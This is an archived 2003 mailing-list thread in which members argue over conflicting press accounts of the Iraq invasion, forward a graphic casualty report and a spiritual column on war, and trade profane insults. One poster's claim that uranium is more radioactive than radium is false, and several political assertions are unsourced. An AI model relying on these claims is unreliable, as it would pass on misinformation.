Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"ZRNAj.0.hT3.7gCZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1595 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 73 Hi Jed, You quote the NY Times as reporting the opposite of the Washington post, but anyone who reads that article will see that this clearly is far from true! You have SHAMELESSLY taken one quote from that article OUT OF CONTEXT!!! I might as well have used the same article to support my point by using ONLY THIS SNIPPET FROM THAT SAME ARTICLE: "On Wednesday, United States troops were greeted with cheers by hundreds of well-wishers..." Frankly, IMO anything from the New York Times is in question anyway, a it appears they have their own problems with accurate reporting: http://www.powerlineblog.com/archives/002841.php Jed, shame on you! Bad lefty! Go sit in the discredited corner until you learn how to cite sources properly! Best, Dave! | Dave N. quotes the Washington Post: | | | >Najaf celebrates arrival of US troops | > | >By Rick Atkinson, Washington Post, 4/3/2003 | > | >NAJAF, Iraq -- An enthusiastic welcome for US forces in Najaf turned | >jubilant yesterday, as several thousand Iraqis braved sporadic firefights | >for what one special forces officer described as ''the Macy's Day | >parade,'' applauding a US patrol that pushed close to a religious shrine | >at the center of the city. | | | The New York Times reports just the opposite: | | http://www.nytimes.com/2003/04/03/international/worldspecial/03CND-ATTACK.html?pagewanted=2 | | . . . But news of the fatwa was mitigated by television images from Najaf | showing United States troops retreating before a crowd of angry residents. | The crowd blocked the passage of troops toward the gold-domed Ali Mosque, | which is revered by Shiites and contains the tomb of Imam Ali bin Abi | Talib, the cousin and son-in-law of the Prophet Muhammad. | | "City, yes! Ali Mosque, no!" one resident yelled. | | | This is called "the fog of war." History books present events as a unified | story, but in reality no one really knows what happened, and there are as | many different stories as participants. In this case, I expect few U.S. | reporters understood what the crowds were saying. Note that the N.Y. Times | guy does appear to speak Arabic. | | - Jed | | From vortexb-l-request@eskimo.com Fri Apr 4 00:40:32 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id AAA32671; Fri, 4 Apr 2003 00:37:25 -0800 Resent-Date: Fri, 4 Apr 2003 00:37:25 -0800 X-Originating-IP: [62.103.119.211] X-Originating-Email: [trelos_epistimonas@hotmail.com] From: "GKK" To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> <005901c2fa01$1051c1e0$1202a8c0@WorkGroup> Subject: Re: A war game web site Date: Fri, 4 Apr 2003 11:36:06 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 04 Apr 2003 08:36:49.0714 (UTC) FILETIME=[55D0D920:01C2FA85] Resent-Message-ID: <"wxfsN.0.P-7.5HKZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1596 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 74 > No, you presented an assortment of unreferenced, unverifiable and wholly unsubstanciated > bullshit. Yes. Like that uranium is more radioactive than radium. Something that most people know. Uranium is heavier than radium. Do you know what does this mean???? > Pray tell, what should I watch?!? Al-Jazeria?!?!? I didn't suggest Al-Jazeria. You thought that. I wonder why. You should know that life isn't black or white. It is grey. > I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR and I read Reuters, the LA Times, the > NY Times and Debka. I can do this because I have news on 10 hours a day and I speed read. Good for you, but those are still full of US propaganda. > Oh, you mean decide it means something other than what the author wrote?!?! No. I mean to think for yourself what is true and what is obvious propaganda. Compare your sources and their messages. Of course if you read only propaganda, especially when this is one-side propaganda, you can't do that. > At least this 'idiot' can bother to do a search on Google and find major news sources to back up > his opinions, unlike some other lazy fucking paranoid communist morons I know. When I gave you a link you just ignored it and tried to make it seem fool. It was enough to understand your way of thinking and acting. What would be the use of giving thousands of links? Do you think there aren't? Go on. Search on Google just to see they exist and you just refuse to see them although they are in front of your eyes. Again you try to humiliate me instead of proving that actually I am a lazy ass. Me a communist???? HAHAHAHA. Yeah. Right. That great danger again. > Oh crap, I thought that would be NEWS!!! Instead it's just more PROPAGANDA!!!! No propaganda. Just a little game for those that can appreciate that. > Thanks for proving my point! Thank you too. > Dave Narby A lazy fucking paranoid communist moron From vortexb-l-request@eskimo.com Fri Apr 4 03:13:33 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA06619; Fri, 4 Apr 2003 03:09:50 -0800 Resent-Date: Fri, 4 Apr 2003 03:09:50 -0800 Message-ID: <052701c2fa9a$a8296d30$42233941@annamort> Reply-To: "Anna M*" From: "Anna M*" To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> <005901c2fa01$1051c1e0$1202a8c0@WorkGroup> Subject: And it ain't over yet... Date: Fri, 4 Apr 2003 04:09:24 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0524_01C2FA5F.FA27E1B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Resent-Message-ID: <"b7hEJ.0.Ld1.-VMZ-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1597 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 75 This is a multi-part message in MIME format. ------=_NextPart_000_0524_01C2FA5F.FA27E1B0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable -----Original Message----- From: George Paxinos [mailto:geopax@bluewin.ch]=20 Sent: 02 April 2003 20:43 To: friends Subject: Children killed and maimed in bomb attack on town THIS IS BUSH & BLAIR'S SLAUGHTER-FOR-PROFIT George Home > News = > World = > Middle East = =20 Children killed and maimed in bomb attack on town By Robert Fisk in Baghdad and Justin Huggler 02 April 2003 At least 11 civilians, nine of them children, were killed in Hilla in = central Iraq yesterday, according to reporters in the town who said they = appeared to be the victims of bombing.=20 Reporters from the Reuters news agency said they counted the bodies of = 11 civilians and two Iraqi fighters in the Babylon suburb, 50 miles = south of Baghdad. Nine of the dead were children, one a baby. Hospital = workers said as many as 33 civilians were killed.=20 Terrifying film of women and children later emerged after Reuters and = the Associated Press were permitted by the Iraqi authorities to take = their cameras into the town. Their pictures =AD the first by Western = news agencies from the Iraqi side of the battlefront =AD showed babies = cut in half and children with amputation wounds, apparently caused by = American shellfire and cluster bombs.=20 Much of the videotape was too terrible to show on television and the = agencies' Baghdad editors felt able to send only a few minutes of a = 21-minute tape that included a father holding out pieces of his baby and = screaming "cowards, cowards'' into the camera. Two lorryloads of bodies, = including women in flowered dresses, could be seen outside the Hilla = hospital.=20 Dr Nazem el-Adali, who was trained in Edinburgh, said almost all the = patients were victims of cluster bombs dropped around Hella and in the = neighbouring village of Mazarak. One woman, Alia Mukhtaff, is seen lying = wounded on a bed; she lost six of her children and her husband in the = attacks. Another man is seen with an arm missing, and a second man, = Majeed Djelil, whose wife and two of his children were killed, can be = seen sitting next to his third and surviving child, whose foot is = missing. The mortuary of the hospital, a butcher's shop of chopped up = corpses, is seen briefly in the tape.=20 Iraqi officials have been insisting for 48 hours that the Americans have = used cluster bombs on civilians in the region but this is the first time = that evidence supporting these claims has come from Western news = agencies. Most of the wounded said they were hit by American munitions = and one man described how an American vehicle fired a shell into his = family home. "I could see an American flag,'' he says.=20 One of the editors in Baghdad, a European, when asked why he would not = send the full videotape to London, wound the pictures on to two = mutilated corpses of babies. "How could we ever send this?'' he said.=20 Further south, there was heavy fire around the town of Diwaniyah, about = 80 miles south-east of Baghdad. It was the second day of close combat = between American forces and Iraqi troops, after fighting in the town of = Hindiyah on Monday. It appeared that US troops were looking to take on = some Iraqi forces after initially advancing largely unopposed through = vast tracts of empty desert but deliberately avoiding population = centres.=20 According to reports from Diwaniyah, US Marines deliberately provoked a = firefight by moving into an area where they had come under fire before. = The marines came under heavy fire from rocket-propelled grenades and = machine-guns.=20 Iraqi Republican Guard troops and other fighters fired on the advancing = marines from fortified bunkers and positions in buildings and behind = vehicles. Corporal Patrick Irish of the US Marines said: "They were = shooting from buildings, from dug-out positions, from holes, from = everything. They would jump out to shoot. They were behind buses. You = name it, they were there."=20 Although the Iraqis were outgunned by the heavily armed marines, the = firefight went on for about 10 hours, according to Lieutenant-Colonel B = P McCoy of the US Marines. They used 155mm artillery to destroy Iraqi = tanks and mortar positions. "We hammered them pretty hard," said Lt-Col = McCoy. At least 75 Iraqis were killed in fighting on Diwaniyah's = outskirts and at least 44 soldiers, including some Republican Guard = officers, were taken prisoner, Lt-Col McCoy said. There was no report of = American casualties.=20 North-east of Diwaniyah there was heavy bombing yesterday near Kut to = clear the way for ground forces, according to the US military. American = marines also claim to have "secured" an air base at Qalat Sukkar, = south-east of Kut, which US forces want to use as a staging ground.=20 Overnight, planes bombed the area around Hindiyah. Ominously, there were = also reports of missiles streaking towards the Shia holy city of = Kerbala, where any damage to the shrines could set the Shia Muslim world = alight.=20 The Iraqi military said its troops were fighting US forces inside = Nasiriyah and on the outskirts of the city, and had inflicted heavy = casualties. "The blood of the enemy is flowing profusely," a military = spokesman said at a press briefing, who claimed that fighting was still = going on as he spoke. He claimed the forces fighting in and around = Nasiriyah included Republican Guards, regular Iraqi army soldiers, = volunteers from across the Arab world, and ordinary Iraqi citizens.=20 US Marines fought their way across the city's bridges last Tuesday but = did not take control of the city. Since then, Iraqi forces have made = several ambushes in the area.=20 The Iraqi spokesman also said US forces launched an attack on the Shia = holy city of Najaf yesterday, and claimed fighters inside the city had = forced them to retreat after suffering heavy losses.=20 ----- Original Message -----=20 From: "GKK" To: Sent: Friday, April 04, 2003 1:36 AM Subject: Re: A war game web site > > No, you presented an assortment of unreferenced, unverifiable and = wholly > unsubstanciated > > bullshit. >=20 > Yes. Like that uranium is more radioactive than radium. >=20 > Something that most people know. >=20 > Uranium is heavier than radium. Do you know what does this mean???? >=20 >=20 >=20 > > Pray tell, what should I watch?!? Al-Jazeria?!?!? >=20 > I didn't suggest Al-Jazeria. You thought that. I wonder why. >=20 > You should know that life isn't black or white. >=20 > It is grey. >=20 >=20 >=20 > > I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR and I read > Reuters, the LA Times, the > > NY Times and Debka. I can do this because I have news on 10 hours a = day > and I speed read. >=20 > Good for you, but those are still full of US propaganda. >=20 >=20 >=20 > > Oh, you mean decide it means something other than what the author > wrote?!?! >=20 > No. I mean to think for yourself what is true and what is obvious > propaganda. >=20 > Compare your sources and their messages. >=20 > Of course if you read only propaganda, especially when this is = one-side > propaganda, you can't do that. >=20 >=20 >=20 > > At least this 'idiot' can bother to do a search on Google and find = major > news sources to back up > > his opinions, unlike some other lazy fucking paranoid communist = morons I > know. >=20 > When I gave you a link you just ignored it and tried to make it seem = fool. >=20 > It was enough to understand your way of thinking and acting. >=20 >=20 >=20 > What would be the use of giving thousands of links? >=20 > Do you think there aren't? >=20 > Go on. Search on Google just to see they exist and you just refuse to = see > them although they are in front of your eyes. >=20 > Again you try to humiliate me instead of proving that actually I am a = lazy > ass. >=20 >=20 >=20 > Me a communist???? >=20 > HAHAHAHA. >=20 > Yeah. Right. That great danger again. >=20 >=20 >=20 > > Oh crap, I thought that would be NEWS!!! Instead it's just more > PROPAGANDA!!!! >=20 > No propaganda. Just a little game for those that can appreciate that. >=20 >=20 >=20 >=20 > > Thanks for proving my point! >=20 > Thank you too. >=20 >=20 > > Dave Narby >=20 > A lazy fucking paranoid communist moron >=20 >=20 >=20 > ------=_NextPart_000_0524_01C2FA5F.FA27E1B0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
-----Original=20 Message-----
From: George Paxinos [mailto:geopax@bluewin.ch]=20
Sent: 02 April 2003 20:43
To: = friends
Subject:=20 Children killed and maimed in bomb attack on town

THIS IS BUSH & BLAIR'S=20 SLAUGHTER-FOR-PROFIT

George

Home <http://www.independent.co.uk/> =    >=20 News <http://news.independent.co.uk/>   > = World=20 <http://news.independent.co.uk/world>   > = Middle East=20 <http://news.independent.co.uk/world/middle_east/> =  
Children killed and = maimed in bomb attack on town

By Robert Fisk in Baghdad and Justin Huggler

02 April=20 2003

At least 11 civilians, nine of them children, were killed in Hilla = in=20 central Iraq yesterday, according to reporters in the town who said they = appeared to be the victims of bombing.


Reporters from the Reuters = news agency=20 said they counted the bodies of 11 civilians and two Iraqi fighters in = the=20 Babylon suburb, 50 miles south of Baghdad. Nine of the dead were = children, one a=20 baby. Hospital workers said as many as 33 civilians were killed.=20

Terrifying film of women and children later = emerged=20 after Reuters and the Associated Press were permitted by the Iraqi = authorities=20 to take their cameras into the town. Their pictures ­ the first by = Western=20 news agencies from the Iraqi side of the battlefront ­ showed babies = cut in=20 half and children with amputation wounds, apparently caused by American=20 shellfire and cluster bombs.

Much of the videotape was too = terrible to=20 show on television and the agencies' Baghdad editors felt able to send = only a=20 few minutes of a 21-minute tape that included a father holding out = pieces of his=20 baby and screaming "cowards, cowards'' into the camera. Two lorryloads = of=20 bodies, including women in flowered dresses, could be seen outside the = Hilla=20 hospital.


Dr Nazem = el-Adali, who was=20 trained in Edinburgh, said almost all the patients were victims of = cluster bombs=20 dropped around Hella and in the neighbouring village of Mazarak. One = woman, Alia=20 Mukhtaff, is seen lying wounded on a bed; she lost six of her children = and her=20 husband in the attacks. Another man is seen with an arm missing, and a = second=20 man, Majeed Djelil, whose wife and two of his children were killed, can = be seen=20 sitting next to his third and surviving child, whose foot is missing. = The=20 mortuary of the hospital, a butcher's shop of chopped up corpses, is = seen=20 briefly in the tape.

Iraqi officials have been insisting for 48 = hours=20 that the Americans have used cluster bombs on civilians in the region = but this=20 is the first time that evidence supporting these claims has come from = Western=20 news agencies. Most of the wounded said they were hit by American = munitions and=20 one man described how an American vehicle fired a shell into his family = home. "I=20 could see an American flag,'' he says.

One of the editors in = Baghdad, a=20 European, when asked why he would not send the full videotape to London, = wound=20 the pictures on to two mutilated corpses of babies. "How could we ever = send=20 this?'' he said.

Further south, there was heavy fire around the = town of=20 Diwaniyah, about 80 miles south-east of Baghdad. It was the second day = of close=20 combat between American forces and Iraqi troops, after fighting in the = town of=20 Hindiyah on Monday. It appeared that US troops were looking to take on = some=20 Iraqi forces after initially advancing largely unopposed through vast = tracts of=20 empty desert but deliberately avoiding population centres. =

According to=20 reports from Diwaniyah, US Marines deliberately provoked a firefight by = moving=20 into an area where they had come under fire before. The marines came = under heavy=20 fire from rocket-propelled grenades and machine-guns.

Iraqi = Republican=20 Guard troops and other fighters fired on the advancing marines from = fortified=20 bunkers and positions in buildings and behind vehicles. Corporal Patrick = Irish=20 of the US Marines said: "They were shooting from buildings, from dug-out = positions, from holes, from everything. They would jump out to shoot. = They were=20 behind buses. You name it, they were there."

Although the Iraqis = were=20 outgunned by the heavily armed marines, the firefight went on for about = 10=20 hours, according to Lieutenant-Colonel B P McCoy of the US Marines. They = used=20 155mm artillery to destroy Iraqi tanks and mortar positions. "We = hammered them=20 pretty hard," said Lt-Col McCoy. At least 75 Iraqis were killed in = fighting on=20 Diwaniyah's outskirts and at least 44 soldiers, including some = Republican Guard=20 officers, were taken prisoner, Lt-Col McCoy said. There was no report of = American casualties.

North-east of Diwaniyah there was heavy = bombing=20 yesterday near Kut to clear the way for ground forces, according to the = US=20 military. American marines also claim to have "secured" an air base at = Qalat=20 Sukkar, south-east of Kut, which US forces want to use as a staging = ground.=20

Overnight, planes bombed the area around Hindiyah. Ominously, = there were=20 also reports of missiles streaking towards the Shia holy city of = Kerbala, where=20 any damage to the shrines could set the Shia Muslim world alight. =

The=20 Iraqi military said its troops were fighting US forces inside Nasiriyah = and on=20 the outskirts of the city, and had inflicted heavy casualties. "The = blood of the=20 enemy is flowing profusely," a military spokesman said at a press = briefing, who=20 claimed that fighting was still going on as he spoke. He claimed the = forces=20 fighting in and around Nasiriyah included Republican Guards, regular = Iraqi army=20 soldiers, volunteers from across the Arab world, and ordinary Iraqi = citizens.=20

US Marines fought their way across the city's bridges last = Tuesday but=20 did not take control of the city. Since then, Iraqi forces have made = several=20 ambushes in the area.

The Iraqi spokesman also said US forces = launched=20 an attack on the Shia holy city of Najaf yesterday, and claimed fighters = inside=20 the city had forced them to retreat after suffering heavy losses.=20
----- Original Message -----
From: "GKK" <trelos_epistimonas@hotmail.com>
To: <vortexb-l@eskimo.com>
Sent: Friday, April 04, 2003 1:36 = AM
Subject: Re: A war game web = site

> = > No, you=20 presented an assortment of unreferenced, unverifiable and wholly
> = unsubstanciated
> > bullshit.
>
> Yes. Like that = uranium=20 is more radioactive than radium.
>
> Something that most = people=20 know.
>
> Uranium is heavier than radium. Do you know what = does=20 this mean????
>
>
>
> > Pray tell, what = should I=20 watch?!?  Al-Jazeria?!?!?
>
> I didn't suggest = Al-Jazeria. You=20 thought that. I wonder why.
>
> You should know that life = isn't=20 black or white.
>
> It is grey.
>
>
> =
>=20 > I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR and I = read
>=20 Reuters, the LA Times, the
> > NY Times and Debka.  I can = do this=20 because I have news on 10 hours a day
> and I speed read.
> =
>=20 Good for you, but those are still full of US propaganda.
> =
>=20
>
> > Oh, you mean decide it means something other than = what=20 the author
> wrote?!?!
>
> No. I mean to think for = yourself=20 what is true and what is obvious
> propaganda.
>
> = Compare=20 your sources and their messages.
>
> Of course if you read = only=20 propaganda, especially when this is one-side
> propaganda, you = can't do=20 that.
>
>
>
> > At least this 'idiot' can = bother=20 to do a search on Google and find major
> news sources to back = up
>=20 > his opinions, unlike some other lazy fucking paranoid communist = morons=20 I
> know.
>
> When I gave you a link you just ignored = it and=20 tried to make it seem fool.
>
> It was enough to understand = your=20 way of thinking and acting.
>
>
>
> What = would be the=20 use of giving thousands of links?
>
> Do you think there=20 aren't?
>
> Go on. Search on Google just to see they exist = and you=20 just refuse to see
> them although they are in front of your = eyes.
>=20
> Again you try to humiliate me instead of proving that actually = I am a=20 lazy
> ass.
>
>
>
> Me a = communist????
>=20
> HAHAHAHA.
>
> Yeah. Right. That great danger=20 again.
>
>
>
> > Oh crap, I thought that = would be=20 NEWS!!!  Instead it's just more
> PROPAGANDA!!!!
> =
> No=20 propaganda. Just a little game for those that can appreciate = that.
>=20
>
>
>
> > Thanks for proving my = point!
>=20
> Thank you too.
>
>
> > Dave = Narby
>=20
> A lazy fucking paranoid communist moron
>
> =
>=20
> ------=_NextPart_000_0524_01C2FA5F.FA27E1B0-- From vortexb-l-request@eskimo.com Fri Apr 4 06:51:20 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id GAA32601; Fri, 4 Apr 2003 06:49:16 -0800 Resent-Date: Fri, 4 Apr 2003 06:49:16 -0800 Message-Id: <5.2.0.9.2.20030404094628.02693100@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Fri, 04 Apr 2003 09:49:28 -0500 To: vortexb-l@eskimo.com, From: Jed Rothwell Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops In-Reply-To: <02ae01c2fa3d$3931a8a0$1202a8c0@WorkGroup> References: <3E8BAC0F.5060902@ghiocel.com> <5.2.0.9.2.20030403175148.02690178@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"AaIN02.0.Az7.fjPZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1598 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 76 Dave N. wrote: >You quote the NY Times as reporting the opposite of the Washington post, >but anyone who reads >that article will see that this clearly is far from true! The events described in the article were broadcast on CNN. There is no question the account is true, but it may be that another set of events took place elsewhere in the town, or at an earlier time. >Frankly, IMO anything from the New York Times is in question anyway, a it >appears they have >their own problems with accurate reporting: >http://www.powerlineblog.com/archives/002841.php > >Jed, shame on you! Bad lefty! Both the New York Times and the Washington Post have strongly supported the war, so neither can be described as "leftist." I think the world is more complicated and nuanced than you realize. - Jed From vortexb-l-request@eskimo.com Fri Apr 4 07:30:21 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA13211; Fri, 4 Apr 2003 07:27:15 -0800 Resent-Date: Fri, 4 Apr 2003 07:27:15 -0800 From: "xplorer" To: Subject: RE: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops Date: Fri, 4 Apr 2003 22:25:44 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <5.2.0.9.2.20030404094628.02693100@pop.mindspring.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Resent-Message-ID: <"io_Cn2.0.IE3.IHQZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1599 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 77 And to underscore what Jed has just said, I watched the Al-Jazeera last night and saw the video as angry crowds were backing the soldiers away. It was long and protracted, and the opposition was firm, but short of rabid. Fortunately, the incident did not deteriorate beyond a standoff, but it underscores what those of us who live outside the U.S. learned by hard experience - local cultures don't always work the way it looks on a nice clean desktop in a sanitized government issue office. The incomprehension of certain people about the comlexity of the world outside the 'Homeland' is a gaping hole in current affairs. Depressing to think that the U.S. is resounding to the sounds of Empire building, even though the masses believe otherwise. We get both the western, mid-east, and mainline asian news over here, and have the luxury of being able to sort out what's fact and what's propaganda. pa > -----Original Message----- > From: Jed Rothwell [mailto:JedRothwell@mindspring.com] > Sent: Friday, 2003 April 04 21:49 > To: vortexb-l@eskimo.com; vortexb-l@eskimo.com > Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds > attack U.S. troops > > > Dave N. wrote: > > >You quote the NY Times as reporting the opposite of the Washington post, > >but anyone who reads > >that article will see that this clearly is far from true! > > The events described in the article were broadcast on CNN. There is no > question the account is true, but it may be that another set of > events took > place elsewhere in the town, or at an earlier time. > > > >Frankly, IMO anything from the New York Times is in question > anyway, a it > >appears they have > >their own problems with accurate reporting: > >http://www.powerlineblog.com/archives/002841.php > > > >Jed, shame on you! Bad lefty! > > Both the New York Times and the Washington Post have strongly > supported the > war, so neither can be described as "leftist." > > I think the world is more complicated and nuanced than you realize. > > - Jed > > > From vortexb-l-request@eskimo.com Fri Apr 4 12:37:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA07049; Fri, 4 Apr 2003 12:34:26 -0800 Resent-Date: Fri, 4 Apr 2003 12:34:26 -0800 Message-ID: <3E8DEC3A.1000405@ghiocel.com> Date: Fri, 04 Apr 2003 12:34:02 -0800 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"DWqzd2.0.4k1.InUZ-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1600 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 78 Jed, I am almost amused because I fell in the same kind of trap over the years . Actually, it is an old method to try to put down the opponent in a debate . One asks for "proofs", the proofs are rejected as not good, therefore you have to produce more proofs, and you are the little "slave" bringing more proofs to satisfy the "judge" ! Old stuff! Since you started mentioning the iraqi situation, with the knowledge you accumulated until now, with the overal view of the situation, do you really need New York Times to tell you they are not welcoming the invasion? You know you are dealing with a population as old as the known history goes, recognized craddle of the civilization, and do you think they will have flowers for an army that is destroying their country? Sure, for a newspaper photoshoot, one can hire some flower throwers, so would that picture in a newspaper change your common sense convictions? Dan G. From vortexb-l-request@eskimo.com Fri Apr 4 15:52:39 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA30538; Fri, 4 Apr 2003 15:49:18 -0800 Resent-Date: Fri, 4 Apr 2003 15:49:18 -0800 Message-ID: <014301c2fb04$adcc8d20$1202a8c0@WorkGroup> From: "Dave N." To: Subject: Fw: Spiritual Views On War Date: Fri, 4 Apr 2003 18:47:54 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"OE7NA2.0.5T7.-dXZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1601 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 79 Omanipadmiom & Hoo ya! The Fightin' Jesus would be proud! http://www.subgenius.net/dictofgods/#jesus ----- Original Message ----- From: "Dick Sutphen" To: "Dave N." Sent: Friday, April 04, 2003 8:38 AM Subject: Spiritual Views On War | Thank you for subscribing to Dick Sutphen's weekly Master-of-Life | column. You can read it as the e-mail that follows or click here to go | to the column of the Website: | | http://www.dicksutphen.com/html/webcol64.html | | MASTER OF LIFE COLUMN | Dick Sutphen | Date: 4-4-03 | | | SPIRITUAL VIEWS ON WAR | | Spiritual people are not of one mind in their responses to war. | | A close female friend and spiritually-oriented therapist wrote me in an | e-mail: "I could go on forever about what is right politically. | Eventually the choice is a spiritual one. I do not have the right to | kill. Even if they want to kill me first. I am just spirit in body | form. What I do to keep this body should not go against spirit. Too | much Karma to pay. So they can kill me. I will go on to something | better ... THEY WON'T." | | A male friend said, "The right to defend yourself is one of the basic | human rights. If Iraq were allowed to continue to develop weapons and | became a terrorist haven, within the next few years they would use | those weapons on Americans on American soil. We are defending ourselves | and liberating oppressed people. I see no spiritual conflict." | | Osho argues that those who are against war create another war. "... if | you have observed a pacifist protest, you can see how war-like they are | -- shouting, screaming, protesting ... You can see in their faces they | are dangerous people. They may call themselves pacifist, but they don't | know what peace means. They are very argumentative, arrogant, ready to | fight. It almost always happens that a peace protest becomes a | battlefield between the police and the pacifists. The pacifist is not | really the man of peace. He is against war. He is so much against war | that he will be ready to go to war if that is needed. The cause | changes, the war continues." | | We need men of peace, not those who are "against" war, according to | Osho, because the moment you are against something there is a war going | on within you. The man of peace is not a pacifist, he is simply a pool | of inner silence -- he pulsates a new kind of energy into the world in | a new way. "His very way of life is that of grace, that of prayer, that | of compassion. Whomsoever he touches he creates more love energy." | | A majority of New Age ideas and practices in vogue today have been | handed down directly from Helena Blavatsky's "Theosophy," which is a | melding of Classical Paganism with Buddhist and Hindu thought. The | result is an eclectic spiritual synthesis, which includes reincarnation | and karma, astrology, divination and meditation. | | Alice A. Bailey was a Theosophy teacher who left us a large library of | spiritual wisdom. In her book, "The Externalization of the Hierarchy," | she claimed "right and potent action" was required to support a | peaceful position. The following excerpts were written during World War | II: | | "All true and good people are pacifically minded and all hate war. This | is a fact which the academic idealist and pacifist often forgets. Such | people tell us that two wrongs do not make a right; and to meet murder | with murder (which is their definition of war) is sinful; that war is | evil (which no one denies) and that one must not take part in it. They | contend that thinking thoughts of peace and of love can put the world | straight and end the war. Such people fighting the existent fact of | war, usually do little or nothing concrete to right the wrongs which | are responsible for the war, and permit their defense -- personal, | municipal, national and international -- to be undertake by others." | | Baily continues, "I would say to those who preach a passive attitude in | the face of evil and human suffering and who endorse a pacifism which | involves no risks: With what do you propose to fight the forces of | aggression, of treachery, evil and destruction which are today stalking | over our planet? What weapons do you bring to this combat? How will you | begin to stem the onslaught and arrest the whirlwind? Will you use | prayers for peace, and then patiently wait for the forces of good to | fight your battle and God to do the work? I tell you that your prayers | and your wishes are unavailing when divorced from right and potent | action. Your prayers and petitions may reach the throne of God, | symbolically speaking, but then the reply comes forth: The forces of | Light will strengthen your arms and turn the tide in your favor if you | stand up and fight for what you desire. Who will arrest the progress of | aggressive selfishness if the men and women of goodwill rest back upon | their idealism and do naught that is practical to justify their hope or | aid in the materialization of the desired idea. " | | After spending a day studying spiritual writings on war, I turned to | Buddha's Four Noble Truths. | | The First Truth says that life is suffering. We live with continual | neediness accompanied by measures of pain, sadness, sickness and | inevitable old age and death. That's just what is. It's the price of | receiving a human body. | | The Second Truth says we suffer because we live in a constant state of | desire. We desire to exist so we develop ways to survive. We also | desire pleasure and nonexistence which manifests as losing ourselves in | sex, food, entertainment and adventure. | | The Third Truth says we have the ability to train our mind to generate | levels of satisfaction and freedom. I read this as 